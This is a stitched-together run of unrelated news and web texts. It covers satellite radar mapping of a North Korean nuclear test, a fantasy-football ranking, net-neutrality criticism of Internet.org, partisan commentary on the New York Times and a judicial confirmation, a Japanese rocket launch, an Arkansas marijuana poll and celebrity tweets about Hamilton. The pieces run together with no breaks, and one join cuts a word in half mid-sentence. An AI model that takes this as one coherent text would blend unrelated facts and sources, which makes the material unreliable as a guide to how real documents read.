copyright COPERNICUS/ESA/BGR Image caption The deep blue colour indicates subsidence; the yellows show uplift The ground convulsion resulting from North Korea's underground nuclear bomb test in January has been mapped by Europe's Sentinel-1a radar satellite. The EU spacecraft uses a technique called interferometry to sense surface movements. Its data shows rock above the blast zone going down by up to 7cm in one area and rising 2-3cm in another. The imagery was released by Germany's Institute for Geosciences and Natural Resources (BGR). It advises the federal government on matters related to the Comprehensive Nuclear-Test-Ban Treaty (CTBT). The 6 January event was described by North Korean media as a miniaturised hydrogen bomb detonation, but there has been no independent confirmation of this claim. All of North Korea's tests (2006, 2009, 2013, 2016) appear to have occurred at a site called Punggye-ri, also known as P'unggye-yok, in a remote region in the east of the country, near the town of Kilju. The data picked up by international seismometers has given very good location information, but the new Sentinel imagery refines these estimates further. Satellite interferometry works by finding the difference in "before" and "after" radar pictures of the Earth's surface. It allows even quite subtle ground movements to be detected. Sentinel-1a got its first view of the test site following the explosion on 13 January, and this was compared with an observation acquired on 1 January. The effects of both subsidence and uplift are evident. "This is a very important result because in the past the location of nuclear tests was based only on seismological data and now we have an indication from other technologies," said BGR's Nicolai Gestermann. At the moment, the 12-day repeat in observations is the best this radar satellite can achieve, but on Friday a sister spacecraft will be launched by the European Space Agency that should reduce the re-visit time to just six days. Because of the gap in time between the blast and the subsequent image retrieval, scientists cannot say whether the ground deformation occurred at the same time as the detonation or a few days later. Seismologists say the bomb test had a magnitude of 5.1. Its characteristics were very similar to the previous explosion conducted in 2013, suggesting the 6 January event was not, as claimed, a thermonuclear blast, said Dr Gestermann. The estimated yield was 10 kilotons of TNT-equivalent, plus or minus three kilotons, he added. The BGR scientist was presenting his institute's work here at the European Geosciences Union General Assembly. Image copyright ESA Image caption Sentinel-1a is about to be joined in orbit by Sentinel-1b, making observations more timely Jonathan.Amos-INTERNET@bbc.co.uk and follow me on Twitter: @BBCAmosMichael Fabiano's Top 200 list is based on the NFL.com standard scoring system and will be updated daily (or whenever needed) throughout the preseason. Click here for all positional rankings. Top 200 1. Le'Veon Bell Steelers (RB1)2. Adrian Peterson Vikings (RB2)3. Jamaal Charles Chiefs (RB3)4. Eddie Lacy Packers (RB4)5. Marshawn Lynch Seahawks (RB5)6. Matt Forte Bears (RB6)7. Antonio Brown Steelers (WR1)8. Julio Jones Falcons (WR2)9. Demaryius Thomas Broncos (WR3)10. Calvin Johnson Lions (WR4)11. Dez Bryant Cowboys (WR5)12. Rob Gronkowski Patriots (TE1)13. Odell Beckham Jr., Giants (WR6)14. Jeremy Hill Bengals (RB7)15. C.J. Anderson Broncos (RB8)16. Randall Cobb Packers (WR7)17. LeSean McCoy Bills (RB9)18. DeMarco Murray Eagles (RB10)19. A.J. Green Bengals (WR8)20. Brandin Cooks Saints (WR9)21. Mike Evans Buccaneers (WR10)22. Alshon Jeffery Bears (WR11)23. Mark Ingram Saints (RB11)24. T.Y. Hilton Colts (WR12)25. Arian Foster Texans (RB12)26. Frank Gore Colts (RB13)27. Emmanuel Sanders Broncos (WR13)28. Lamar Miller Dolphins (RB14)29. DeAndre Hopkins Texans (WR14)30. Andrew Luck Colts (QB1)31. Justin Forsett Ravens (RB15)32. Alfred Morris Redskins (RB16)33. Aaron Rodgers Packers (QB2)34. Carlos Hyde 49ers (RB17)35. Latavius Murray Raiders (RB18)36. Amari Cooper Raiders (WR15)37. Melvin Gordon Chargers (RB19)38. Keenan Allen Chargers (WR16)39. Jonathan Stewart Panthers (RB20)40. Jimmy Graham Seahawks (TE2)41. Jordan Matthews Eagles (WR17)42. T.J. Yeldon Jaguars (RB21)43. Julian Edelman Patriots (WR18)44. Andre Johnson Colts (WR19)45. Andre Ellington Cardinals (RB22)46. Todd Gurley Rams (RB23)47. Jeremy Maclin Chiefs (WR20)48. Davante Adams Packers (WR21)49. Ameer Abdullah Lions (RB24)50. Russell Wilson Seahawks (QB3)51. Drew Brees Saints (QB4)52. Allen Robinson Jaguars (WR22)53. Brandon Marshall Jets (WR23)54. Sammy Watkins Bills (WR24)55. Peyton Manning Broncos (QB5)56. Golden Tate Lions (WR25)57. LeGarrette Blount Patriots (RB25)58. Tom Brady Patriots (QB6)59. Doug Martin Buccaneers (RB26)60. Chris Ivory Jets (RB27)61. DeSean Jackson Redskins (WR26)62. Greg Olsen Panthers (TE3)63. Vincent Jackson Buccaneers (WR27)64. Jarvis Landry Dolphins (WR28)65. John Brown Cardinals (WR29)66. Travis Kelce Chiefs (TE4)67. Isaiah Crowell Browns (RB28)68. Joique Bell Lions (RB29)69. Tevin Coleman Falcons (RB30)70. Devonta Freeman Falcons (RB31)71. C.J. Spiller Saints (RB32)72. Joseph Randle Cowboys (RB33)73. Giovani Bernard Bengals (RB34)74. Martellus Bennett Bears (TE5)75. Ben Roethlisberger Steelers (QB7)76. Steve Smith Sr., Ravens (WR30)77. Nelson Agholor Eagles (WR31)78. Tony Romo Cowboys (QB8)79. Eric Decker Jets (WR32)80. Marques Colston Saints (WR33)81. Duke Johnson Browns (RB35)82. Matt Ryan Falcons (QB9)83. Mike Wallace Vikings (WR34)84. Rashad Jennings Giants (RB36)85. Bishop Sankey Titans (RB37)86. Shane Vereen Giants (RB38)87. Torrey Smith 49ers (WR35)88. Martavis Bryant Steelers (WR36)89. Cam Newton Panthers (QB10)90. Ryan Tannehill Dolphins (QB11)91. Philip Rivers Chargers (QB12)92. Sam Bradford Eagles (QB13)93. Michael Floyd Cardinals (WR37)94. Teddy Bridgewater Vikings (QB14)95. Ryan Mathews Eagles (RB39)96. Eli Manning Giants (QB15)97. Larry Fitzgerald Cardinals (WR38)98. Tre Mason Rams (RB40)99. Danny Woodhead Chargers (RB41)100. Darren McFadden Cowboys (RB42)101. Colin Kaepernick 49ers (QB16)102. Charles Johnson Vikings (WR39)103. Roddy White Falcons (WR40)104. Anquan Boldin 49ers (WR41)105. Pierre Garcon Redskins (WR42)106. Alfred Blue Texans (RB43)107. Devin Funchess Panthers (WR43)108. Dion Lewis Patriots (RB44)109. Markus Wheaton Steelers (WR44)110. Matthew Stafford Lions (QB17)111. Carson Palmer Cardinals (QB18)112. Zach Ertz Eagles (TE6)113. Jason Witten Cowboys (TE7)114. Jordan Cameron Dolphins (TE8)115. DeVante Parker Dolphins (WR45)116. Eddie Royal Bears (WR46)117. Brian Quick Rams (WR47)118. Charles Sims Buccaneers (RB45)119. Roy Helu Raiders (RB46)120. Andre Williams Giants (RB47)121. Breshad Perriman Ravens (WR48)122. Christine Michael Cowboys (RB48)123. Victor Cruz Giants (WR49)124. Kendall Wright Titans (WR50)125. Kenny Stills Dolphins (WR51)126. Malcom Floyd Chargers (WR52)127. Terrance Williams Cowboys (WR53)128. Delanie Walker Titans (TE9)129. Steve Johnson Chargers (WR54)130. Knile Davis Chiefs (RB49)131. Marcus Mariota Titans (QB19)132. Tyler Eifert Bengals (TE10)133. Cody Latimer Broncos (WR55)134. Joe Flacco Ravens (QB20)135. Ronnie Hillman Broncos (RB50)136. Khiry Robinson Saints (RB51)137. David Johnson Cardinals (RB52)138. Kyle Rudolph Vikings (TE11)139. Owen Daniels Broncos (TE12)140. Jay Cutler Bears (QB21)141. Jordan Reed Redskins (TE13)142. Percy Harvin Bills (WR56)143. Larry Donnell Giants (TE14)144. Julius Thomas Jaguars (TE15)145. Heath Miller Steelers (TE16)146. Michael Crabtree Raiders (WR57)147. Matt Jones Redskins (RB53)148. Austin Seferian-Jenkins Buccaneers (TE17)149. Jerick McKinnon Vikings (RB54)150. Doug Baldwin Seahawks (WR58)151. Cameron Artis-Payne Panthers (RB55)152. Kenny Britt Rams (WR59)153. Marvin Jones Bengals (WR60)154. Rueben Randle Giants (WR61)155. Antonio Gates Chargers (TE18)156. Vernon Davis 49ers (TE19)157. Jameis Winston Buccaneers (QB22)158. Alex Smith Chiefs (QB23)159. Lorenzo Taliaferro Ravens (RB56)160. Josh Robinson Colts (RB57)161. Denard Robinson Jaguars (RB58)162. Blake Bortles Jaguars (QB24)163. Seahawks defense (DEF1)164. Kirk Cousins Redskins (QB25)165. Derek Carr Raiders (QB26)166. Dwayne Allen Colts (TE20)167. Bills defense (DEF2)168. Stephen Gostkowski Patriots (K1)169. Andy Dalton Bengals (QB27)170. Terrance West Titans (RB59)171. Fred Jackson Seahawks (RB60)172. Darren Sproles Eagles (RB61)173. DeAngelo Williams Steelers (RB62)174. Brandon Coleman Saints (WR62)175. Dorial Green-Beckham Titans (WR63)176. Allen Hurns Jaguars (WR64)177. Dwayne Bowe Browns (WR65)178. Ty Montgomery Packers (WR66)179. Phillip Dorsett Colts (WR67)180. Karlos Williams Bills (RB63)181. Reggie Bush 49ers (RB64)182. Texans defense (DEF3)183. Cole Beasley Cowboys (WR68)184. Eric Ebron Lions (TE21)185. James White Patriots (RB65)186. Cordarrelle Patterson Vikings (WR69)187. Danny Amendola Patriots (WR70)188. Tyler Lockett Seahawks (WR71)189. Ladarius Green Chargers (TE22)190. Corey Brown Panthers (WR72)191. Josh Hill Saints (TE23)192. Harry Douglas Titans (WR73)193. Cody Parkey Eagles (K2)194. Coby Fleener Colts (TE24)195. Charles Clay Bills (TE25)196. Nick Foles Rams (QB28)197. James Starks Packers (RB66)198. Benny Cunningham Rams (RB67)199. Damien Williams Dolphins (RB68)200. Chris Conley Chiefs (WR74) Michael Fabiano is an award-winning fantasy football analyst on NFL.com and NFL Network and a member of the Fantasy Sports Writers Association (FSWA) Hall of Fame. Have a burning question on anything fantasy related? Tweet it to @Michael_Fabiano or send a question via Facebook!Internet.org, the Facebook-backed service that wants to bring free Internet to people in emerging markets, seemingly can't catch a break. More than 60 civic and digital liberty groups from 28 countries signed an open letter addressed to Mark Zuckerberg on Monday contending that Internet.org in its present state violates net neutrality, thereby "threatening freedom of expression, equality of opportunity, security, privacy and innovation." Internet.org, which Zuckerberg launched in 2013, partners with local telecomm companies and developers to offer a free, basic Internet experience with access to things like Facebook, Wikipedia and BBC News. Facebook disclosed earlier this year that Internet.org has helped more than 7 million people across six countries so far — Columbia, India, Zambia, Tanzania, Kenya and Ghana — and wants to be in 100 countries by the end of this year. Zuckerberg views this as an "Internet for all"-type approach, but critics see things differently. Last month, for example, a group of Internet companies withdrew their support from Internet.org in India following a national backlash over net neutrality. Advocacy groups this week took a similar tack, arguing Internet.org actually follows a "Zero rating" model, wherein service providers offer customers a set of services or applications that are free to use without a data plan or that don't factor in data plan usage. Worse still, they maintain, Internet.org could create a "two-tiered Internet," a scenario where new Internet users "get stuck on a separate and unequal path to Internet connectivity, which will serve to widen — not narrow — the digital divide." Facebook, for its part, has tried addressing the criticism recently by rolling out the Internet.org platform earlier this month, which lets outside developers create complimentary services. In doing so, Internet.org is trying to chip away at the argument that it prioritizes some partnered content over the rest — a net neutrality no no. “We and our critics share a common vision of helping more people gain access to the broadest possible range of experiences and services on the internet," an Internet.org spokesperson told Mashable in a statement. "We are convinced that as more and more people gain access to the Internet, they will see the benefits and want to use even more services. We believe this so strongly that we have worked with operators to offer basic services to people at no charge, convinced that new users will quickly want to move beyond basic services and pay for more diverse, valuable services.”Well, the New York Times didn’t actually call former NYC mayor Rudy Giuliani a racist in its lead editorial Tuesday, which it has strongly implied in the past on its news pages. That’s about the best that can be said for “Rudy Giuliani’s Racial Myths,” in which the Times attacks its old enemy as a race-baiter for criticizing Black Lives Matter, which the paper referred to as a “civil-rights movement” on Sunday’s front page. Meanwhile, actual race-baiter Al Sharpton is portrayed in the Times lecturing others on race-baiting. For a nation heartsick over the killings of black men by police officers in Louisiana and Minnesota, and the ambush murders of officers by a gunman in Dallas, here comes Rudolph Giuliani, bringing his trademark brew of poisonous disinformation to the discussion. In his view, the problem is black gangs, murderous black children, the refusal of black protesters to look in the mirror at their “racist” selves, and black parents’ failure to teach their children to respect the police. “What we’ve got to hear from the black community,” said Mr. Giuliani, in a Sunday morning talk-show appearance that seemed to double as a lecture to black America, “is how and what they are doing among themselves about the crime problem in the black community.” He added, “We wonder, do black lives matter, or only the very few black lives that are killed by white policemen?” Here’s a better question: How, we wonder, will the country ever get beyond its stunted discourse about racialized violence when people like Mr. Giuliani continue to try to change the subject?........ Unnerved by black anger, Americans like Mr. Giuliani cling to false equivalencies. They have, for example, defamed the Black Lives Matter movement as a “war on cops.” (Tell that to the protesters in Dallas who smiled for photos with officers who were protecting their march.) The debate is full of such untruths and misdirections. There is the colossal Texas lie, the one that says a “good guy with a gun” can always stop a bad guy with a gun (in Dallas, where some marchers and bystanders were armed, it took a bomb). There is Mr. Giuliani’s ludicrous suggestion that black people don’t know they need to be careful around cops, or somehow are complicit in their brutalizing........ We can only hope that in the heat and anger of this wretched summer, Americans’ impulse to pull together is stronger than the divisiveness of race-baiting moralists... Speaking of race-baiters...a nytimes.com search suggests the Times has not once used that term to describe the truly inflammatory Al Sharpton, the professional racial agitator turned MSNBC host. In fact, the paper has a history of fawning over Sharpton, a long-time controversial left-wing racial activist in New York City. Sharpton supported the rape hoax of Tawana Brawley against the NYPD, and referred to Hasidic Jews as “diamond merchants” after the Crown Heights riots in Brooklyn in 1991 – events rarely if ever chronicled in the paper’s many favorable write-ups of the man. Perhaps most serious was the aftermath of his racially inflammatory store protest in Harlem in 1995. As the Daily Caller explained, Sharpton sided with a black record store owner against the Jewish owner of Freddie’s Fashion Mart, spouting: “We will not stand by and allow them to move this brother so that some white interloper can expand his business.” Later a protester set fire to the store, and seven employees died of smoke inhalation. Bizarrely, the Times has even written a story on the inflammatory Sharpton warning others against “race-baiting”: “The Rev. Al Sharpton sent out a stern warning on Saturday against race-baiting in the contest for the 13th Congressional District in New York.” And a 2006 article suggested Sharpton’s “race-baiting” days were over -- though if you rely on the Times, they had never started: “Once labeled a race-baiting firebrand, Mr. Sharpton is now considered to be closer to the center of the broader leadership group.”Japan’s Epsilon rocket conducted its second flight Tuesday, orbiting JAXA’s ERG satellite to study Earth’s radiation belts. Liftoff from the Uchinoura Space Centre was on schedule at 20:00 local time (11:00 UTC), the opening of what was an hour-long launch window. Epsilon-2 Mission: The Exploration of Energisation and Radiation in Geospace (ERG) mission will be operated by the Japan Aerospace Exploration Agency (JAXA), studying Earth’s magnetosphere. Also known as SPRINT-B, ERG is a 365-kilogram (805 lb) satellite based on JAXA’s SPRINT bus, which was demonstrated by 2013’s Hisaki – or SPRINT-A – mission. The spacecraft measures 1.5 by 1.5 by 2.7 meters (4.9 x 4.9 x 8.9 feet) in its launch configuration. Once in orbit, ERG will deploy its instrument booms and solar arrays. With a span of 6.0 meters (19.7 feet) along the satellite’s x-axis and 5.2 m (17.1 ft) meters along its y-axis, the solar panels will generate over 700 watts of power for the spacecraft’s systems and instruments. Following initial operation and testing, ERG is expected to operate for at least a year. The ERG satellite carries instruments dedicated to the study of plasma, particles, waves and fields in Earth’s radiation belts. Earth’s radiation belts were discovered by James Van Allen’s experiments aboard the first US satellite, Explorer 1, in 1958 although their existence had previously been theorized by other scientists. As a result, the belts are known as the Van Allen belts. Earth has two permanent radiation belts, the inner and outer Van Allen belts, although NASA’s Van Allen Probes, or Radiation Belt Storm Probes (RBSP), which were launched in August 2012, showed that a third belt can form and dissipate. ERG will join NASA’s two Van Allen Probes and three earlier Time History of Events and Macroscale Interactions During Substorms (THEMIS) spacecraft in making in-situ observations of the Van Allen belts. These will be joined by the UA Air Force Research Laboratory’s DSX satellite, currently scheduled for launch aboard SpaceX’s Falcon Heavy rocket next year. ERG’s Plasma and Particle Experiment (PPE) instrument suite consists of electron and ion mass analyzers. The Low Energy Particle Experiments – Electron Analyser (LEP-e), Medium Energy Particle Experiments – Electron Analyser (MEP-e), High Energy Electron Experiments (HEP) and Extremely High Energy Electron Experiments (XEP) instruments will study electrons at increasing energies between 10 electronvolts and 20 megaelectronvolts. Low Energy Particle Experiments – Ion Mass Analyser (LEP-i) and Medium Energy Particle Experiments – Ion Mass Analyser (MEP-i) are mass spectrometers which will be used to study the different types of ions present in ERG’s environment. The Plasma Wave Experiment (PWE) will measure the Earth’s electric and magnetic fields as the satellite passes through them, up to frequencies of 10 megahertz and 100 kilohertz respectively. This will be complimented by the Software-Type Wave Particle Interaction Analyser (S-WPIA), software aboard ERG’s computer systems, will attempt to quantify energy transferred between waves and electrons through the spacecraft’s observations of plasma waves and particles. ERG launched atop JAXA’s solid-fuelled Epsilon rocket, which made its first flight in September 2013 and has not flown since. A replacement for the earlier M-V rocket, which retired in September 2006, Epsilon is designed to provide a ride to orbit for Japan’s smaller satellites. Epsilon uses an SRB-A3 motor – used as a strap-on booster on the larger H-IIA and H-IIB rockets – as its first stage with upper stages derived from the M-V. Epsilon launches from the Uchinoura – formerly Kagoshima – Space Centre, using the same launch pad from which the M-V flew. Also used by earlier members of the Mu family of rockets – of which the M-V was the final member – the complex was originally constructed in the 1960s. It consists of an assembly tower with the rocket mounted upon a movable launcher platform which is rotated into position ahead of launch. This was originally built as a rail launcher for the Mu series, however a pedestal has been added for Epsilon with the former support structure for the rail serving as an umbilical tower. Tuesday’s launch was the first flight of the operational or “Enhanced Epsilon” configuration, introducing improvements to the upper stages over those used on the maiden flight. The vehicle has been described as “Epsilon-2”, however it is presently unclear whether this name refers to the enhanced configuration, or to Tuesday’s launch being Epsilon’s second flight. Epsilon’s launch began with first stage ignition and liftoff, when the countdown reached zero. The rocket flew in a south-easterly direction, along an azimuth of 100 degrees. Its first stage burned for 109 seconds, accelerating the vehicle to a velocity of 2.5 kilometers per second (5,600 mph). At burnout, Epsilon was at an altitude of 71 kilometers (44 miles, 38 nautical miles) and 75 kilometers (47 miles, 40 nautical miles) downrange. After the end of the first stage burn, Epsilon entered a coast phase as it ascends into space. Around 41 seconds after burnout, at an altitude of 115 kilometers (71.5 miles, 62.1 nautical miles), the payload fairing separated from the nose of the rocket. Eleven seconds later the spent first stage was jettisoned. Epsilon-2 had an M-35 second stage, in place of the M-34c used on the maiden flight. The new stage is larger than its predecessor and has a fixed nozzle instead of the extendible nozzle used on the M-34c. The M-35 generates 445 kilonewtons of thrust, an increase from the 327 kilonewtons generated by the M-34c, and burns for fifteen seconds longer. The second stage ignited four seconds after first stage separation, burning for two minutes and eight seconds. A second coast phase took place between second stage burnout and third stage ignition. One minute and forty-five seconds after burning out, the second stage separated with the third stage igniting four seconds later. During the coast phase the third stage was spun-up; spin-stabilisation was used to help it maintain attitude during its burn. For Tuesday’s launch the third stage was also been upgraded, with Epsilon-2 using a KM-V2c instead of the KM-V2b that flew on the 2013 launch. This uses a fixed nozzle instead of an extendible one, but has no significant difference in performance. The third stage will burn for about 89 seconds. Epsilon can fly with a liquid-fuelled fourth stage, the Compact Liquid Propulsion System (CLPS), which was used on its first launch. This is not required for Tuesday’s launch, so instead the rocket flew in its all-solid three-stage configuration for the first time. Spacecraft separation occurred thirteen minutes and twenty-seven seconds after liftoff; five minutes and sixteen seconds after third stage burnout. Tuesday’s launch was targeting an elliptical orbit with a perigee – the point closest to Earth – of 219 kilometers (136 miles, 118 nautical miles) and an apogee – or highest point – of 33,200 kilometers (20,600 miles, 17,900 nautical miles). The orbit will have inclination of 31.4 degrees to the equator, with the satellite taking about 580 minutes – or 9.7 hours – to complete one revolution. Tuesday’s launch was Japan’s fourth and last of 2016, following H-IIA missions in February and November which deployed the Hitomi observatory and the Himawari 9 weather satellite – and an H-IIB launch earlier this month with the Kounotori 6 spacecraft to resupply the International Space Station. Japan’s next launch, currently scheduled for 11 January, will be an experimental flight which aims to use a modified SS-520 sounding rocket to orbit a single three-unit CubeSat. An H-IIA launch carrying the DSN-2 communications satellite is also scheduled for January. The next Epsilon launch will carry the ASNARO-2 experimental radar imaging satellite. This is expected to occur during Japan’s 2017 financial year, which begins on 1 April. (Image via JAXA).In 1978, David Prowse, better known as Darth Vader's body, spoiled The Empire Strikes Back to a cheering crowd in Berkeley, California...two years before Empire came out. But did Prowse actually know the ending, or was this sheer coincidence? Here's how vinvectrex from The Retroist describes the above clipping: [M]y mother was good to keep an eye out for Star Wars news – and when this particular item showed up in our local paper, she cut it out for me. I still have it to this day. And, it was my first introduction to spoilers. In late 1978, David Prowse revealed that he was Luke's father – two years before Empire Strikes Back hit theaters. In retrospect, I wonder how George Lucas felt about this. Since there was no internet in 1978, he probably never knew that David was running around spilling the beans. Advertisement The thing is, Prowse probably wasn't aware of Vader's paternity shenanigans. When it came time to film Vader and Luke's battle on Bespin, the script called for Vader to tell Luke, ''Obi-Wan killed your father''; James Earl Jones' real reveal was dubbed in later. So that leaves a strong possibility that Prowse was fabricating spoilers for an adulating crowd of hundreds (he does mention that the paternity twist comes in the third film). Either way, it's pretty hilarious, and the fact that he guessed right is icing on the cake.Madison Police Department officer Eric Parker is shown in this booking photo provided by L
izing marijuana for medical purposes. Q: Do you agree or disagree that adults should be allowed to legally use marijuana for medical purposes if a physician prescribes it? 56% Strongly Agree (84% Agree) 28% Somewhat Agree 3% Somewhat Disagree (14% Disagree) 11% Strongly Disagree 2% Don’t Know “These numbers show overwhelming support for the basic concept of physician-prescribed, medical marijuana. However, the numbers change significantly when you ask voters about unlimited legal uses of marijuana or the ability to grow small amounts,” said Roby Brock, Editor-in-Chief of Talk Business & Politics. Q: Do you agree or disagree that adults should be allowed to grow small amounts of marijuana for medical use? 27% Strongly Agree (44% Agree) 17% Somewhat Agree 12% Somewhat Disagree (51% Disagree) 39% Strongly Disagree 5% Don’t Know Q: Do you think the use of marijuana should be legal or illegal? 42% Legal 51% Illegal 7% Don’t Know/No Opinion ANALYSIS Dr. Jay Barth, professor of political science at Hendrix College, and Clint Reed, partner with Impact Management Group, helped create and analyze the poll. They offered the following analysis: Dr. Jay Barth: In the Arkansas November 2012 general election, a major surprise was the fact that Arkansas’s voters came close to making Arkansas the first southern state to legalize medical marijuana. The result was surprising because pre-election surveys had shown voters’ opposition to the measure. (Indeed, showing evidence of a “Bradley effect,” even a post-election survey indicated much wider opposition to the measure than on election day.) This current survey of Arkansas adults shows that the popularity of the concept of medical marijuana continues to grow three years after that close vote. An amazing 84% of Arkansas adults either “strongly” or “somewhat” agree that adults should be allowed to use marijuana for medical purposes if prescribed by a physician. This suggests that a return to the ballot of a medical marijuana measure would likely meet a different fate than the 2012 measure. There is one caveat to this conclusion: the possibility of patients being allowed to “grow their own” marijuana — a provision included in the 2012 proposal — remains concerning to Arkansas voters with a slight majority opposing that provision. Different versions of the medical marijuana legalization initiatives have either included or excluded such a provision. It continues to appear that it would matter in shaping the outcome, though the movement on the issue is extraordinary. It appears that the next debate in Arkansas may be about the recreational use of marijuana. While a majority of Arkansas voters continue to oppose the legalization of marijuana, the trajectory also seems positive for that concept. Most important is an examination of different subsets of Arkansas voters by age. Just over two-thirds (68%) of the state’s youngest voters support marijuana legalization while the same percentage of the state’s voters 65 and older oppose it. Thus, with every passing day, sentiment towards legalization grows. Other interesting demographic patterns show themselves on the recreational use of marijuana with a gender gap showing itself (45% of men and 38% of women favor legalization), pluralities of urban and suburban voters support legalization while 55% of rural voters oppose it, and strong Republican identifiers overwhelmingly oppose legalization while all other partisan groups are split. All told, the data suggests that a well-crafted recreational marijuana proposal might well have a shot with Arkansas’s voters in the coming election cycles and a medical marijuana proposal will be more thoroughly welcomed by an electorate that has concerns about marijuana’s addictive nature but sees it as less dangerous than either tobacco or alcohol. Clint Reed: Overall, voters have made up their mind on the legality of marijuana. There is not a lot of indifference as only 8% of Arkansas voters have no opinion on whether it should be either legal or illegal. As one might imagine, the difference in self-identified ideology paints a pretty clear picture of those who believe marijuana should be legal as opposed to those who believe it should be illegal. Within this, 63% of ‘very liberal’ voters believe it should be legal; whereas, 76% of ’very conservative’ voters believe it should be illegal. In addition, voters less than 30 years of age believe it should be legal (68%) as opposed to voters over the age of 65 believe it should be illegal (68%). The ideology gap and age gap should not be a surprise to anyone. When those voters are asked to explain why marijuana should be legal, the most common word mentioned in the verbatim responses is ‘medical’. On the other hand, when voters are asked to explain why marijuana should be illegal, the most common word used is ‘drug’. The ‘medical’ wording really seemed to jump out when voters were asked to provide reasoning. There is clear support for medical marijuana if a physician prescribes it. This is pretty straight-forward wording and voters responded very positively to it. In fact, 84% of voters ‘agree’ – 56% ‘strongly agree’ – that adults should be allowed to use marijuana for medical purposes if approved by a doctor. This has clear support across almost all demographics – including liberals, conservatives, Democrats, Independents, and Republicans. Voters do, however, draw a line on whether someone can grow their own amounts of marijuana for medical purposes — when asked this way, support crumbles especially among ‘conservatives,’ ‘independents,’ and ‘Republicans’ as all groups ‘disagree’ with this approach. 51% of voters disagree that Arkansans should be allowed to grow their own marijuana for medical purposes. METHODOLOGY This survey of 400 live callers was conducted from August 20-23, 2015 statewide in Arkansas. The poll has a margin of error of +/-4.99%. Roughly 67% of voters were reached by landline and 33% were cell phone users. The poll was weighted equally among Congressional Districts (25% each) and the gender breakdown was weighted to include 52% female and 48% male. Additional demographics include: Party Affiliation 31% Republican 33% Independent 30% Democrat 6% Don’t Know/Refuse Age 10% Under 30 21% 30-44 41% 45-64 28% 65+ All media outlets are welcome to reprint, reproduce, or rebroadcast information from this poll with proper attribution to Talk Business & Politics, Hendrix College and Impact Management Group. For interviews, contact Talk Business & Politics Editor-in-Chief Roby Brock by email at roby@talkbusiness.net, Dr. Jay Barth by email at barth@hendrix.edu, or Clint Reed at creed@impactmanagement.com. Comments commentsOne of President Donald Trump's most controversial judicial appointments was just confirmed by the Senate. Kentucky lawyer John Bush, who is best known for promoting the racist conspiracy theory of birtherism as well as arguing against gay rights, was confirmed by the Senate by a strictly party-line vote on Thursday, according to a report by NPR. He will now serve as a judge on the U.S. Court of Appeals for the 6th Circuit. Advertisement: Although Republicans like Sen. John Kennedy of Louisiana expressed dismay with confirming a man whose blog posts were notoriously incendiary and riddled with sourcing errors (mainly because of Bush's reliance on alt right material), they nevertheless voted in favor of his confirmation. The fact that he was strongly supported by his fellow Kentuckian, Senate Majority Leader Mitch McConnell, most likely played a role in that. During a particularly memorable moment of his confirmation hearing, Bush was confronted by Democratic Sen. Al Franken of Minnesota, who expressed disbelief that a potential judge would write blog articles based on discredited sources like World News Daily. After describing World News Daily as "a website known for peddling conspiracy theories, fake news, and white nationalism" and citing its support for the "widely debunked and racist belief that President Obama was not born in the United States," Franken asked "how did you decide which sources to rely upon in your writings and how did you decide which sources were credible?" Bush repeatedly dodged the question and simply insisted that there were articles he wishes he had phrased differently, prompting Franken to cuttingly observe that "in my mind, using my judgment to confirm someone to the circuit court who felt free to blog posts, and can’t answer how he decides whether to cite a source or not, whether it’s credible or not, that’s disturbing to me."Steven Van Zandt of Bruce Springsteen and the E Street Band, took to Twitter all day Saturday (Nov. 19) calling on the cast of Hamilton to apologize to Vice President-elect Mike Pence for their speech following Friday's performance. "A guy comes to a Broadway show for a relaxing night out. Instead he gets a lecture from the stage! Not a level playing field. It's bullying," he wrote. "You don't single out an audience member and embarrass him from the stage. A terrible precedent to set." It was the most respectful, benign form of bullying ever. But bullying nonetheless. And by the way, human rights must be won, not asked for. https://t.co/JfN4yjq8jM — Stevie Van Zandt (@StevieVanZandt) November 19, 2016 "So because he's a public figure we should be rude to him and bully him at public events?" he asked."I'm not the one who couldn't be more wrong on this." To recap, the cast of Hamilton addressed Pence -- who was in the audience -- after their Friday night curtain call at the Richard Rodgers Theatre on Broadway in New York. "Vice-president elect Mike Pence, we welcome you and truly thank you for joining us at Hamilton American Musical,” Brandon Victor Dixon said in the statement, distributed on social media by the show's producers. “We sir, we are the diverse America who are alarmed and anxious that your new administration will not protect us, our planet, our children, our parents, or defend us and uphold our inalienable rights, sir. We truly hope that this show has inspired you to uphold our American values and to work on behalf of all of us.” Van Zandt made his first statement early Saturday, writing, "Hamilton made a mistake. Audiences shouldn't have to worry about being blindsided like that. Theater should be sanctuary for Art to speak. Lin-Manuel is a genius. He has created the greatest play since West Side Story. He is also a role model. This sets a terrible precedent> Completely inappropriate. Theater should be a safe haven for Art to speak. Not the actors. He needs to apologize to Mike Pence @Lin_Manuel." When fans started tweeting at Van Zandt in disagreement, he continued to explain his point of view, adding that there is a time and a place to make a statement, saying audience members are in fact "guests." "There has never been a more outspoken politically active artist than me. He was their guest. You protect your guests. Don't embarrass them. When artists perform the venue becomes your home," he wrote. "The audience are your guests. It is nothing short of the same bullying tactic we rightly>have criticized Trump for in the past. It's taking unfair advantage of someone who thought they were a protected guest in your home." When comic Richard Belzer stepped into the debate, telling Van Zandt to "stop going through ethical gymnastics to justify your way too thin logic," Van Zandt shot back. " love you Richard. You want to do this in public? We can. The Broadway Community and its Art need to be protected. My logic is impeccable.Nobody on this planet disagrees more with everything Pence represents. But I don't tolerate bullying in any form. Even the respectful kind." When fan Lauren Yurick wrote that Springsteen often brings up politics "mid-set" and asked "What's the difference? This was done post show," Van Zandt explained that rock shows and theater are different venues. "You don't single out an audience member and embarrass him from the stage. A terrible precedent to set," he wrote. "That's the difference between Rock and Theater. Different art forms. Different expectations. Different protocols as to what's appropriate." Van Zandt was clear in his opposition to Pence politically, defending his views and pointing out the E Street Band's stand against North Carolina's controversial bathroom law and defense of the LGBT community when one fan wrote, "if you cared about your Broadway family, you'd be outspoken on this assault against gay rights. Don't be a coward." "What are you like 10? I've spent my life defending human rights including LGBT. Remember us boycotting North Carolina? Were you born yet?" he asked. "Please don't misunderstand. Everyone who is sane disagrees with his policies. This was not the time or place to do it is all I'm saying," he wrote. "The cast was not intentionally rude. The speech was heartfelt with content shared by all of us. Given at the wrong place at the wrong time." E Street Band member Nils Lofgren also took to Twitter in defense of Dixon's statement, writing, “I don’t see any (bullying) here. Bravo. It is ok to disagree. The audience had the freedom to boo. The statement was truth to power. Any chance you get to speak truth to power right now, you have to take it.” Van Zandt, who called the statement beautiful, disagreed, saying the proper place for such a statement is in the art of the play itself. "How about IN THE PLAY! For starters. Just as Lin-Manuel Miranda (the creator of ‘Hamilton’) is already brilliantly doing,” Van Zandt tweeted. “And oh yeah, elections.”Democrats think they have David 